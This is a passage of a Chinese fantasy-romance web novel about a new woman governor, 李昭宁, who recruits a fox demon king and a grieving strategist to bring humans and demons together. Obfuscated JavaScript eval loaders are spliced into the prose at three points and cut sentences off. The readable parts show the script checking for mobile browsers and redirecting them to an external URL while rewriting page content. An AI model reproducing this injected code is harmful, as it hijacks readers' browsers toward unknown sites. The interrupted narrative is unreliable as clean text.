“哎哎哎!千万别伤了大虞。”她看三小只这欲死战的架势,从萧蘅身后探头,急到跳脚。本想上前亲自拦,却被萧蘅持扇拦住,示意她留意大虞动向。 “你还是先保护好你自己吧。” 李昭宁刚要反驳,忽觉背后有股杀气。 她刚要回头—— 萧蘅托着她的腰身,发力将二人位置倒换,悬扇挡了大虞的偷袭,又展手将其击退数里。 他喊道:“他是冲你来的。你快跑!往山下跑,幻兽跑不出结界。” 他怕李昭宁有所顾忌,再道:“放心,你伙伴不会有事。” 李昭宁闻言跑路,也不回头,不停挥着双臂往下跑,中途不慎踩到碎石,一屁股跌倒,顺着泥沙滑滑梯似的滑下山阶,黄沙碎石铺满身。 浮雀飞在她上空,似要低身让她抓住爪子,带她飞,可被紫色光痕打断。 她不敢回头看,一个劲闷头跑。 她知道自己一旦停下就一定会拖他们后腿。 不出意外的话就要发生意外了。她只顾着往前冲,忘了注意脚下,不慎被一裸露地面的粗树根绊倒,失了重心往前扑去…… 她反应极快,反手持剑刺入山壁,想要借助外力阻止自己下坠。 突然腰间一紧,她被萧蘅抱起。 他不知何时赶来,单手抱她轻功起跃,踩上树干接力转身,手中雪绸白玉扇似墨道飞镖,旋转斜切飞出,声如铮铮,似割裂夜空之势,巧配合从地缝里钻出的阿蛟打断了大虞的追捕。 底下的阿蛟道:“这幻兽身上没有虚境气味,应该是那次封印的漏网之鱼。” 萧蘅闻言点头,眼神示意三小只。 玄武会意,捶胸顿足:“兄弟们列阵!” 只见三小只跳到三个不同方位,正好形成一个三角形,萧蘅掐诀隔空画了个三角形,正好凑齐一颗五角星,星成后,一道红光从天而降,幽冥紫烟被狠狠碾向地面,转瞬人间蒸发。 李昭宁没来得及看这一画面,便听到萧蘅调侃的声音在耳畔响起:“蓁蓁姑娘跑得还挺快,我方才差点没追上。” 她有一种劫后余生的感觉,脑袋跟宕机似的,说话想都不想脱口而出:“请叫我蓟州博尔特。” 萧蘅破笑:“姑娘,你脑子被幻兽吓坏了?” 烟消云散,大虞缓缓倒地。 “大虞!” 待萧蘅把她放下,她飞快奔到大虞身边,恨不得一个滑跪接住他。 萧蘅收扇,哼了一声,慢悠悠跟上,说道:“死不了。” 说罢,他先是观察了四周环境,又为大虞检查了身体:“还好,并无性命之忧。这几日多注意保暖养身,莫要着凉,否则会生疾。” 李昭宁一口一个感谢,又试图唤醒昏睡的大虞。 三只小妖凑到她身边,好奇地打量大虞,你一句我一句说个不停:“这人生得好壮啊。” “是西楚霸王吗?”说罢,阿蛟拿尾巴挠挠大虞的脖子,但他还是没有醒来的迹象。 萧蘅冷冷地抱臂,退开几步懒散地靠向身后大树:“你见过谁家西楚霸王有他这么弱……” 话没说完就被李昭宁打断:“浮雀,你拿羽毛挠挠他鼻子这里。” 萧蘅无语。浮雀应好。 “咳咳咳……” 大虞醒来,除萧蘅外所有人、妖的目光都在大虞身上,嘘寒问暖。 萧蘅再次无语。 大虞揉着太阳穴,半懵半醒消化方才经历的事情,正欲出言,忽然和面前三只小妖对眼,心头一震,面容失色:“妖……是妖!” 李昭宁及时捂住大虞的嘴巴,道:“你先冷静。你刚才被幻兽附体了,是他们几个救了你。” 见大虞惊恐地点头,她换了条腿接着蹲,把从二人迷路到现在的事情一五一十重述了一遍。 最后耸肩:“说来你可能不信,但这就是事实。我都差点交代在这。” 三小只“啾啾”“噗噗”“嗷吼”应声。 大虞表情呆滞,许是在重塑世界观,有些语无伦次:“怎……怎么会……” “他们没有恶意的。”她安慰几句,后与大虞讲了她关于人与妖合作共赢的伟大计划。 “这样啊,只要是州牧大人的决定,我都没问题,”大虞缓口气,转念又想到什么,迟疑不决,“可是州牧大人,让妖来帮我们着实省力,但是胡老汉家不会答应吧?去年他的一个儿子不是被妖怪抓走了吗?” 李昭宁闻言蹙眉,握紧剑柄,回头看向萧蘅:“你们妖还拐卖小孩?” 萧蘅也皱眉,正起身,肃然道:“我上……我们妖王上任已百年有余,虽厌恶人类,但绝不屑于做泯灭妖性,违背天地之事。偶有调皮捣蛋未开智的小妖也许会偷摸下山捣乱,但也不至于伤人性命。” “况且杻阳山和蓟州城之间布有结界,普通人类无法踏足。你们口中的小孩,绝不可能被我们妖兽拐走。” 他望了李昭宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧蘅有些怀疑李昭宁不是普通人类,也有小部分可能是幻兽幻化而成,不然为什么身上没有这个世界的气息且满嘴奇怪之言,他心存疑惑道:“什么合同?” “你们来工作,我给你们工资,这可不能是口头说说就完事。我们得约三事。” 她可不想成为第二个楚怀王,到嘴的六百里变成六里地。 “不然……”李昭宁两手各展一符印,龇牙咧嘴佯装狰狞,“我就把你们都封印起来。” ...... 萧蘅抱臂,嫌弃地往后一仰,演都不带演:“哎呦,我好害怕。” 李昭宁。。。 她看向三小只:“你们怎么不害怕?” 三小只真诚道:“你一身正气,不会害我们。” 李昭宁被夸得歪嘴,五指合并,掌心朝上不停点着他们,转头对大虞道:“史官呢?回去一定一字不落给我记下来。” 大虞道:“州牧,您忘了。前州牧在任时把史官气跑了,还有前前军事祭酒。” “哦?” “来之匆匆,未详细了解。愿闻其详。” “前前军师祭酒,复姓诸葛。” “哇塞,军师这姓氏一出现满满安全感。” 夜半丑时四刻,山雾皆散,月明星稀,山鹊绕枝。再过两个时辰便要天亮。 萧蘅落在队尾,见李昭宁一手抱着阿蛟,一手扶着有些力脱的大虞,浮雀落在她的肩头,挥着翅膀,似乎在指路,圆钝钝壮实的玄武则在前面开路。三妖两人,竟皆是喜气洋洋。 他活了上千年,这样和谐的画面只见过一次,且如流星般短暂,不幸的是星烁陨石坠落大地,带来的只有灾难。 他没说什么,只是回过身,展扇掐诀,加深杻阳山结界。 “诸葛军师么。” 他轻笑,许久未见了。 5. 牛马打工人 未时三更,绵绵细雨。 州牧府衙。 李昭宁推开书房大门,目光所及皆是文书呈帖。书桌上未处理的政务已然堆积成山,日光斜照,散落一地残影。 因为她刚上任,还是蓟州第一位女州牧,这些呈帖的下级官员不是对她阳奉阴违就是冷眼相待,将前州牧留下来的烂摊子统统扔给她。 还有其他州郡的官僚,都在暗中揣摩、试探她的实力与底线。 可以说,正儿八经有关地方治理的呈帖没几个。 这一些朋比为奸、虚与委蛇的呈帖真让人作呕。可是没法子,谁让她自己现在只是一个小小的地方州牧,也只能昧着良心,好声好气地回复他们。 回复得多了,她也便不暇自顾了。 一帖道:闻君拜蓟州州牧,遗憾不能亲往祝贺,只能将肺腑之言寄托于信书文笔(此处省略几百字彩虹屁)君本为闺阁之秀,蒲柳之姿,如今却肩挑重担,易案牍劳形,年华早逝。余下周得空,君可携符前来,我等一同商议蓟州民生大事。 好家伙。这哪是同僚啊,这不强盗吗?光明正大夺权。她若是去了岂不是文场上的鸿门宴啊? 于是她回:临表涕零,不知所言。只是小人薄面,不敢拜君。有劳君亲临,路费大约五千银钱,君自行报销。 又一帖道:李州牧年华正盛,苦心孤诣经营蓟州,实属大公无私。但圣人云:久视伤血,久卧伤气(此处省略几百字)……李大人莫过度劳损,得不偿失。冒昧一问,今婚配否,可有中意男君,我等必为亲自登门请之,解李州牧之忧。 她再回:皇帝行么,能让陛下再拨点银两吗? 更有帖道:汝为女眷,怎敢舔居州牧之位?劝汝尽快上表请离,莫他日追悔只会流泪…… 她装都不想装了,开摆:你已急哭。 真是卑微牛马打工人呐。明明还有修建妖怪教化学院一事等着自己去做,如今却只能被困在书房处理烦琐无味的人情世故。 她正思衬回帖,门突然被推开,一阵冷风吹进,裹挟着雨中特有的土腥味。 萧蘅来了。他头发懒散地束着,摘去苍竹骨发冠,仅用一支白玉簪别发,换了一身靛蓝长袖袍,褪去多数衣饰缀件,唯腰间挂一竹青碧玉,倒是入乡随俗。 手中那把雪绸白玉扇晃来晃去:“没想到蓁蓁姑娘穿官服也好生漂亮。” 内心却道:不过架子而已。 李昭宁束发戴冠,三梁进贤冠缨带系颌,衣着浅朱色右衽交领,长及地面不露足,腰系赤韨,并无繁饰。兴许是赶工急切,袖口边隐能瞧见线头。但这并不影响什么,反而衬得她身形秀长,干净利落,正气如梅。 让人一瞧,难免不觉她是能在灾情肆虐、民不聊生时,不顾己利,不畏强权、力排众议开仓放粮,解民之苦的好官、父母官。 “真的吗?我也觉得我很天选之子……” 她被萧蘅夸得眉飞色舞,忽觉自己进贤冠戴在头,理应端肃。于是她强忍着笑意,正起神色,扔给他一本书册,清咳两声:“你来得正好,填写档案吧。” “什么档案?”萧蘅接过,捏着书角随意一翻,竟是空白。 “你杻阳山多少妖口,入户籍,到时候分配工作。” 萧蘅挑眉:“你来真的?” “我像是开玩笑的人吗?” 萧蘅斜身,一手使妖力玩弄她的头冠,另一胳膊肘搭在桌面,食指关节不住地敲桌面,道:“你该不会要收我们税吧?” 李昭宁“嗯”一声,连连点头。持笔的手不停,抽空抬眼看了他一眼:“这个想法不错。” 萧蘅:? “开玩笑,一步步来。这是我画的学院草图,怎么样?” “你还有这本事?” “当然。” 萧蘅草草一看,画得倒是横平竖直呃……很有学府模样,只是…… 他眸光微动,漫不经心道:“你有钱吗?” “这……我已派人去浮玉山问询富商合作事宜,其他等军师来,再做详细。” 李昭宁忽敛笑,抬手正了正冠簪,继续道:“军师天赋异禀,三岁出口成章,七岁百步穿杨。先皇北巡时不慎落水,十二岁的他奋不顾身投湖救驾。天子亲自赐名号‘尚牧’。取姜尚之谋,取力牧之勇。” “然万金留都之荣,竟不能夺其志,主动舍弃高官俸禄,毅然回乡。虽看似愚忠,但世间鲜少有人能抵住金钱利益诱惑,不奴役身心,放浪形骸,乘六气游八荒。” 萧蘅不以为然,嗤笑一声:“所以这是你穿这么正式的原因?” “是。” 他合扇敲着手心,语调微转,字里行间皆是酸怨:“怎上杻阳山请妖时,不见你穿如此隆重?” “是有点草率。” “你瞧瞧——” “我脖子上也应该挂九串朱砂。” …… 萧蘅一时语塞,真不知道这姑娘是揣着明白装糊涂还是揣着糊涂装聪明。 他瞧李昭宁又伏案处理呈帖,无声叹息,握住雪绸白玉扇扇柄,将扇头对向她的额头,轻轻点了点:“脑袋都快埋进去了。” 李昭宁猛一拍额头,从抽屉拿出一张硬质白纸:“差点忘了。来,签字画押吧。这可是我让系……特意制作的,能认准你们的妖气。如果你们违背以上规定,将遭受惩罚哦。” “这就是你先前说的合同?” “正是。” 萧蘅打眼一瞧,无非就是绝对服从州牧领导指令,不许伤人等等。 他又忽然忆起,今天中午补觉时听到一个很空灵、没有感情的声音笼罩在他头顶,似在提醒: 【系统:叮!虐恋偿还机制友情提示:今日偿还爱意值999+。建议行动:亲吻、拥抱等等亲密行为】 【系统:因主绑定人身份特殊,开启一个月活动期,每日偿还值不积累(特殊情况除外),零点刷新~~~】 【系统:最后提示,若活动期结束,绑定人虐恋偿还不达标,将被系统强制执行偿还。】 系统? 他从未听说过。 他起身寻声出处未果,回到床榻又辗转反侧,结合此前种种怪象,最后得出一个结论:虐值是李昭宁遇险程度,只要有人想杀她并对其发动攻击,虐值就会高幅度大涨,这时候就需要恋值来偿还。 也正因为二值相差太大,他也便被“系统”这个人强制执行,去替她扛伤,去保护她,甚至去爱她。 遇险越深,爱意越肆意。 思来思去,他找到了漏洞。如果恋值积攒越高,岂不是可以轻松偿还虐值,届时李昭宁再遇险,就无需他被强制执行来偿还。 所以说,他要尽力讨李昭宁欢心…… 至于拥抱什么的,能是过肩摔么…… …… 他随意应声,抬头一瞧李昭宁满怀期待的眼神,心中哂笑。 那就签字吧。 他堂堂妖王还真能被此纸约束? 荒唐。 “州牧,您派去问诸葛军师的人回来了,说诸葛军师不在堂中。” 门被敲响,禀报之人是小虞,大虞的双胞胎妹妹。和大虞魁梧健壮不一样,她生得娇小白净,能歌善舞。最重要的是,她博通文墨。先前州牧忽略了她的文学天赋,只拿她当舞女。 今时不同往日,这样难得的人才,李昭宁坚决不会放过。不仅如此,她还安排小虞修正蓟州科举,为更好地选拔人才。 小虞的答案对李昭宁来说意料之中。 她搁笔起身,整理一下进贤冠,衣领,道:“备马,我将三请军师出山。” 萧蘅:“蓁蓁姑娘倒是乐观。” “只是还有一问,浮雀它们尚未化成人形,此时出街怕不是会被人人喊打。” “莫慌。” “我让大虞带三小只去上课了,先识字,懂道德,再服务。” 李昭宁在凌晨回来时,即刻发布了一道告令:神秘嘉宾将为东中西物资运输保驾护航。 时令初秋,丰收季节,中部新谷当速运东西二境;浮玉山之煤亦需加急输往中西部,待寒冬降临,便可取火御寒。正好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193952|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三小只可趁此良机,为漕运驿输保驾护航或开启妖界速递。 “我呢?” “你当然也得干活。我将开启预测天气预报专门栏目。待你预测完,便将内容写在布告上,再送达各郡县府衙。” “我送?我怎么送?” 她眨巴眨巴眼睛,一派天真道:“你的扇子不是吹风么,呼呼呼一下子不就全到了。” 萧蘅嘴角一抽,心中暗道这世间怎会有如此傻子。 罢了,就当为了攒恋值。 他开口:“没想到你看起来毛毛躁躁,呆头呆脑,办事倒利索。” 她双手捂脸,扭着腰:“哎呀别夸,容易飘。” “不对。你说谁呆头呆脑?” - 蓟州城中,揭榜告示处。 李昭宁勒马止步,眺望挤成一团、议论纷纷的人群。 “听说这神秘嘉宾是妖怪,它们来帮咱们送物资,取名快递。” 有人心生向往:“让妖怪来为咱们干活,真前所未闻。这快递名字很好,快速传递。” 也有人心生嫌烦,大骂官府:“这不纯纯祸害我们吗?谁知道妖怪会不会偷窃物资。” 更有甚者对李昭宁进行人身攻击。人群之后的她听得一清二楚。 萧蘅心中暗喜,终于有人懂他了。奈于积攒恋值,他忍住吐槽,瞥她一眼:“这你都能忍?” 李昭宁点头,不紧不慢道:“《诗经》有云:先人有言,询于刍荛。我们当官的就应该听取民意,集中民智,要辟四门,明四目,达四聪。万万不能闭目塞听。” 萧蘅:装货。 她探身靠近萧蘅,悄悄补充:“其实是我让大虞故意放的风,先试探试探民心所想。” 萧蘅微一挑眉道:“你这小兄弟不是说,怀疑我们妖兽拐走一家的小孩吗?他们既然认准,铁定不能同意。” “那件事,我定将彻查,还所有人一个公道。”她目光扫过人群,声音沉定,“我既为此地州牧,便不只是坐堂,更要做实事。百姓也好,杻阳山妖族也罢。我定让你们安居乐业,走上康庄大道。” 萧蘅:还装? 萧蘅没说话,仍在哂笑此丫头痴人说梦。 麦子熟了几千年,不过弹指一挥间。人生在世,不过区区三万天。 一人之躯,竟想平息历史遗留数年的人与妖的积怨。 何其荒谬。 即便成功,李昭宁总有死去的一天。到时候,人与妖,还能和平共处吗? 雨不知何时停了,云雾散开,阳光破云而出,直直投射一道光,落在李昭宁身上。 光影中,这个傻姑娘还在呲着大牙在和百姓们乐此不疲地打招呼。 他看着她一副神采飞扬、志在必得的模样,罢了。 他晃晃脑袋,不明白自己为何那番想。 这事定然不能成,李昭宁大公无私,他可不想让杻阳山妖族葬身人世间。他要尽快积攒恋值,破解虐恋偿还之法,速速归山。 李昭宁被百姓们的热情惊到了。 一开始,众人还围着妖怪的事议论纷纷。有人很是兴奋,直说想结识一二,讨教修为,甚至笑问能否养作灵宠。也有人忧心忡忡,搬出老一辈的告诫,连连摇头说妖心叵测,信不过。 可聊着聊着,话头不知怎的一转,竟有人扬声笑问:“李州牧,瞧着真年轻貌美啊。不知芳龄几何,可曾许配人家?” 紧接着,话茬又被引到先前卷款潜逃的前任州牧身上。人群霎时喧嚷起来,新旧怨气搅作一团,愈吵愈烈。 就在这片鼎沸人声中,忽从人群后方传来一道声音。 不高不低,却字字清晰,温厚而沉稳,带着一股令人急躁内心瞬时静下来的端正: “李州牧的决策,在下倒觉得,是个不错的主意。” 李昭宁回头,见一白衣蓑笠,青色纶巾束发,手持蓝孔雀羽扇的清秀少年郎。 “在下蒲原诸葛兰旌,名峥。久仰州牧大名。” 李昭宁大喜过望,翻身下马,未留意萧蘅紧皱的眉头。 6. 让蓟州再次伟大 府衙。 “军师,您看您,在草堂等我去请多好。怎敢劳您亲自跑一趟。” “萧蘅你站那干什么,还不快去给军师倒茶。” 萧蘅懒洋洋地倚在廊柱上,嘴上应着“是是是”,身子却纹丝不动,闭目养神,晒着雨后的晴阳。 李昭宁则跑这头跑那头,袍袖生风,又不知从哪里拉了块黑板,画了教化学院、妖界速递、狐报天气等三个内容板块。书桌上还摊着一张蓟州城地形舆图。 她眼里带光,兴致勃勃地继续说着自己的规划:“依我看,可以先在几处要紧的驿站设下协运点,让三小妖从旁帮着转运。这样既能解燃眉之急,又能省下不少人力和时间。至于教化学院那边……牵扯较多,一时半刻难以搞定,但眼下从驿站着手,总归不耽误正事。” “眼下正是转运粮煤的关键时候,也是确保百姓安稳度过严冬的关键,”她沉吟片刻,再道,“只是百姓恐难将要粮与煤这紧物件托付于它们,我等也不宜强令。不妨从递送寻常书信开始,慢慢累积信任感。” “最后只需一个契机,便可达到质变。” “若遇极端天气,驿路断绝的紧急情状,倒可让三小妖应急。秋后天气多变,正是用得上的时候。” 她一面说着,一面又将新想到的注意事项写在黑板上。 “还有一处必须与百姓说明白,三小妖来相助绝非为了抢夺驿站差役的饭碗。要让他们宽心,这不是排挤取代,而是取长补短。” “自然,最终仍听凭大伙意愿。若妖界速递试行期满,大家仍觉不妥,我定当另寻他法。” 她叽里呱啦一大堆,却见诸葛兰旌一言不发,便问:“军师,意下如何?” 诸葛兰旌始终含笑,目光专注地落在她身上,听得认真。 他见她停下,道:“李州牧不累吗?” “哎?” 萧蘅闻诸葛兰旌一言,睁开眼看了看李昭宁,才瞧着她眼下的乌青。便问:“你一宿没睡,午时也没有好好休息?” 她道:“时间就是金钱。” 萧蘅翻白眼:“见鬼。” 她收回目光,顺势打量眼前这两人。 萧蘅个子要高一些,肩膀宽阔,一双丹凤眼微微上挑,面无表情时瞧着有些凶,脾性也有些阴晴不定。 诸葛兰旌生得周正,眉眼清和,嘴角时常带笑。但他的眼神,有些黯淡,像隔了层雾,叫人看不真切。 真不愧是军师,情绪不显露于外。 而诸葛兰旌手中那柄羽扇上,并非寻常的蓝孔雀羽,而是名为“青鸾”的圣扇。扇骨温润,青羽流光。此乃先皇御赐,寓意“青鸾报祥,文神再世”传闻,还有一顶御赐金蝉九梁冠冠。 隐约间,青羽中间似有雪白绒毛。不像羽毛,倒像兽毛。 是她看错了? 然转眼间心里这点思量被抛到了脑后,被兴奋所替代。只觉得眼前开阔,文有诸葛,武有萧蘅。 可这个萧蘅偏偏往她头上泼冷水:“你没见过世面吗?” “不过一把扇子,要盯多久?” 说罢,他“哗”的一声展开雪绸白玉扇,对着她的脸狂扇好几下,阻隔了她看诸葛兰旌的视线。 她躲开,拂袖道:“我发现你真是一个妒贤嫉能之人。先前嫉妒我仰慕英俊妖王,如今见军师手中御赐之物,心里怕更不是滋味了吧?” “我嫉妒你什么?” “嫉妒你没脑子天天傻呵呵乐么?” 她看诸葛兰旌在这,不想和萧蘅打闹扬丑,一掌把人推得老远。 又拱手展颜:“军师见笑了。以后就有劳军师了。我们齐心协力,开创蓟州辉煌。” 诸葛兰旌点头,道:“我少年时,蓟州曾经因浮玉山开采铁矿,名扬过几年光景。不过近几年外流太严重,给埋没了。” “所以不是开创,是重振。” 她当即拊掌道:“那就让蓟州再次伟大。” 话语刚落,她见萧蘅吊儿郎当地趿着步子,转了个圈又晃回来,嘴角噙着讥笑,先是用欠欠的语气重复一遍她的话:“让~蓟~州~再~次~伟~大。” 然后又道:“我看你还是洗洗睡吧。” 李昭宁:? “我知道妖王为什么把你撵出来了。” 萧蘅一听妖王二字,不情愿转笑,正经几分:“姑娘说得对。” 诸葛兰旌扇着青鸾圣扇,目光来二人身上流转,片刻后开口:“先皇曾在城东赐予我一阁楼,现搁置,不如拿它来做教化学院,物尽其用。” 李昭宁振臂高呼:“不愧是军师大人!尚牧大人!你就是我的神!” 萧蘅讥诮道:黄鼠狼给鸡拜年。 还不忘回头讽刺她:“能别谄媚了行么。” 李昭宁:? 她其实习惯了萧蘅的毒舌,这货就是个死傲娇,心情好夸你两句,心情不好损你几句也是理所当然。 估计怕她重用军师而轻他,故意显眼呢,也就没在意。 但不知是不是错觉,她总感觉萧蘅和诸葛兰旌眼神、话语间有些许火药味。 只见诸葛轻轻点扇,笑道:“萧蘅,这不是杻阳山。” 萧蘅也不甘示弱:“巧了。这也不是蒲原。” 李昭宁:?这不是她的州牧府吗? 然二人皆无视她,各道各话。一言紧接一话,颇有唇枪舌剑之势。 萧蘅先道:“你早言避世修身,效老庄清静无为,效渔樵不问纷争。如今不请出山,不请自来,又饶有兴致来搅一搅这俗尘事。何为?” “怀情而不发兮,余焉能忍与此终古?”诸葛兰旌声音很轻,目光越过窗户,投向很远的地方。 过了片刻,他收回视线,转向身旁的萧蘅:“你呢?你从前最厌烦人间礼法规矩。人情道义也被你贬得一文不值。如今怎么肯下山?” 萧蘅抱着手臂,再次背靠倚墙,只是嘴角很轻地扯了一下,没说话。 两人谁也没有直面回答,空气就这样忽然静了下来,只有穿堂风过的细微声响。 一直在旁静静听着的李昭宁见此举,出言打破沉默:“你们两个之前认识啊。” 两个人一个扭头,一个微笑,异口同声:不认识。 她试探道:“该不会是仇家吧?” 诸葛兰旌莞尔一笑:“你们妖怪现在还有抢人妇的吗?” 李昭宁大惊:“萧蘅你抢军师老婆?” 萧蘅:? “你们人真有病。” “不是你活了几千年什么美人没见过,你抢人军师老婆干什么!”李昭宁揽袖上前,一把揪住他的头发,用力将他往下按。 “李昭宁你快放手。他胡说八道你也信?” 诸葛兰旌以扇代手,合掌道:“好一对欢喜冤家。” “李州牧,方才相戏耳。” “啊?军师好生幽默。”她闻言放手,只是没想到诸葛兰旌的性格并非想象中那般端方严正,反倒是开朗大方,不拘小节。 萧蘅气得一甩头发,梳理都不梳理,抱臂转过脑袋,不理李昭宁,含愠道:“泼妇。” “千年一遇的泼妇。” 她摊手:“那老婆一事是怎么回事?” 他置之不理道:“哼。不知是谁信誓旦旦说合作第一步是信任。诓骗。” 天。狐狸炸毛了。 她险些破笑,想上前安慰却被诸葛兰旌虚推,请向外:“走吧李大人,带我去见见三位小妖怪吧。” “不用叫我李大人,叫我名字就行,或者唤我小字……” 话没说完,萧蘅“嗖”一声从侧面插进,挡在她与诸葛兰旌之间,斜了一眼后者:“我觉得还是李大人气派一些。” “你不是不理我了吗?还有,对军师客气点。” “想必萧兄是吃味了。怪我怪我,应该与李大人保持距离。”诸葛兰旌说罢,果真退后几步,保持安全距离。 萧蘅:?人类果然阴险狡诈。 李昭宁:?别爱我没结果。 她拍拍萧蘅的肩头,以示安慰:“萧蘅你格局大一点。咱也这是为了蓟州再次伟大,杻阳山重见天日好吧。” 萧蘅眯着眼,猛吸一口气,强忍心中的不平,僵硬笑:“好的蓁蓁姑娘。” 心却骂道:果然好奇心害死猫,早知如此他打死自己也不会下山。只能待等恋值攒够,机制破解,速速归山。 蓁蓁这两个字,似刻意咬重。 诸葛兰旌连啧数声,道:“果然爱人之言……” 话没说完,他的嘴巴突然紧闭,又像是被人扼住了咽喉,发出呜咽咽的声音。身形不稳往后倒去,又似被什么拉扯向外走。 萧蘅伸出食指挥来挥去,在操控诸葛兰旌,戏谑道:“你继续说啊。怎么不说了。” 李昭宁惑道:“你使妖力了?” 萧蘅冷哼一声。 她刚要开口,只见诸葛兰旌手中青鸾圣扇几不可查地一转,一枚细长银针自羽根疾射而出,直刺萧蘅面门。 萧蘅反应极快,侧身避过,针尖擦着他耳畔没入廊柱。 “怎么,区区凡夫俗子,也敢跟我叫板?”萧蘅嗤笑,打个响指的功夫人影即消散无影,空中只见白风纵横,纷纷攻向诸葛兰旌。 眼见白风即将攻入他体内,却见一道黑光乍现,不仅破了白风,还逼得萧蘅现了身。 萧蘅一个鹞子翻身再攻,两人眨眼间缠斗在一处,招式迅疾带风。从室内打到殿外廊下,妖风针影交错。 只听得“噼啪”几声脆响,廊台边一排紫藤花栏被撞得木屑纷飞,残红乱落。 萧蘅又一个白风,不慎吹翻了角落里的青铜炉,香灰泼洒一地。 李昭宁呆立在原地。 110吗? 这有坏人…… 她即刻返身掠回案前,拔出历代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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诸葛兰旌未在意,静静地看着三小妖,道:“李大人思虑虽周,但依某之见,妖界速递这一事,还是早些罢手为好。” 诸葛兰旌此言一出,不止李昭宁愣住了,萧蘅、三小只也是。 李昭宁沉色:“为什么?” “李大人为何要谈及人与妖和平共处。这貌似比单单治理蓟州更为困难。” 她道:“因为天下大同。能和平为什么要互相残杀。纵有分歧,也不该兵刃相向。” “可人与妖相差甚远,不论其他,单论寿命,人与妖一旦产生胜于常的感情,于两方,都是一种灾难。” “趁一切还没开始。有些事,浅尝辄止就好。” “生命是短暂,精神尚可存。我相信真到那时候,小妖们会将我们和平的意愿传递下去。” “不怕它们霸占蓟州,占地为王?” “不怕。因为我相信他们。” 诸葛兰旌话头一滞。萧蘅从后绕前,啧啧几声:“我就说她是个傻丫头。” 他看诸葛兰旌眼神微微恍惚,立刻警告:“你这什么眼神,我可警告你别联想翩翩。她是李昭宁,只是李昭宁。” 李昭宁一头雾水:“啥意思?” 诸葛兰旌反刺:“这么宝贝?” 萧蘅…… 角落里听八卦的阿蛟举手:“这题我会,这叫窈窕淑女,君子好逑。” 萧蘅:…… 下一秒,阿蛟被一股神秘力量无情甩飞。 李昭宁不服输,再道:“我们要求同存异。不可取吗?” 诸葛兰旌忽而发笑,掩拳在唇:“妖界速递其实可以随时启动,现在也可以。” “曾经有一位国君,千金求买千里马,可数年过去无人应答。一位近侍自荐去买,可千里马死了,他便买了马的脑袋。国君却因此大怒。可近侍却道,买死马都肯花五百金,更何况活马呢。于是不到一年,三匹千里马到手。” “恰如燕昭王求贤郭隗,我愿举全身之力,亲自一试。” 李昭宁听诸葛兰旌此言,心中大石方落,原来他那些话都是在试探她的决心。毕竟妖界速递是一件毫无先例的改革,没有坚持到底的决心,是做不成一切的。 “军师的意思,是要亲自下第一个妖界速递的订单?” “正是。” 李昭宁唤大虞先带诸葛兰旌先去客堂歇息。她去着手准备。 大虞应声,引诸葛兰旌向前。 李昭宁刻意落后两步,肩膀撞了撞落后的萧蘅,压低声音:“你和诸葛军师有什么怨啊?” 萧蘅冷哼,不理她。 她一副发现惊天大八卦的样子:“额滴个神,你该不会真抢……” “我抢你个头。”萧蘅知道她要说什么,急忙出声制止。 “那你说清楚啊。” 萧蘅无奈:“你还记得他问你寿命论的问题吗?” “记得。” “他的爱人,是我们妖界的一位女子。” 她诧异:“那她是何妖?” “雪狼。” “现在身在何处?” “死了。” 7. 他的爱人是妖 “雪狼有个很好听的名字,叫作兰旌。” 李昭宁脚步倏然一顿。 她叫兰旌。 他叫诸葛兰旌。 以你之名,冠我之字。 别人每次念起他的名字,都是在提醒他,不许忘了她。或者,是她还陪在他身边。 她慢慢地走着。脚步滞涩,不知是因劳累拖住了腿脚,还是萧蘅方才那些话太过沉重,沉沉地压在了心上。 一旁的萧蘅稍停片刻,继续道:“他原名诸葛峥。无字。” “他自幼聪慧,感灵之力异于常人,也正因如此,身弱病缠。他们相遇得很草率,离别也是。兰旌为救濒死的诸葛,亲剖妖丹,千年修为尽失。” 最后,他活了下来。她却离去。 所以,诸葛兰旌恨她。 恨她心性单纯,为一个轻飘飘的“爱”字便付出所有。 “他也恨我们所有妖,觉我们懦弱无能,竟没有一妖现身阻止兰旌自毁修为。” “那段时间他疯了,觉得是我们在骗他,故意出此计带走兰旌。就因为人与妖不能相恋,不能长相厮守,不能白头到老。” 也许是话题太沉重,萧蘅对李昭宁的语气难得正常:“如果是你,你会恨吗?” “我不知道,”她斟酌了良久,方言,“作为一个旁观者,我只能为他们不能长相厮守而惋惜。非说要恨的话,我只会恨老天的不公。天地之大,四海八荒,竟然容不下一对情投意合的有情人。” 李昭宁一双清澈如湖的杏眼迷了一层浅浅的雾气,语气也多少有些怆然。 萧蘅第一次见她露出这番神情,先前,都是睁着俩圆溜溜的大眼睛到处发光,像天东的太阳般耀眼。不,是刺眼。 果然人类是懦弱的。只是感情一词就能让他们全然溃败。 他心再道:看来破机制归妖山指日可待。 萧蘅语气淡淡,看不出任何情绪:“天地无边无际,也有命运一词在作怪。你们人类有一圣贤不是说:相呴以湿,相濡以沫,不如相忘于江湖。” 李昭宁诧异道:“你这就向命运低头了?” “这不是向命运低头,是顺其自然。我活了几千年,一直未搞懂你们人类为什么总是匆匆忙忙,忙忙碌碌地奔走。” 说罢,他目光转向院中那棵高大挺拔的银杏树,亭亭如盖。纵然初秋缤纷始落,风一扬,恰如滚滚麦浪。 “银杏树长成参天固地之势尚需百年。你们人类,区区几十年,十几年便想出人头地,岂不贻笑大方?” 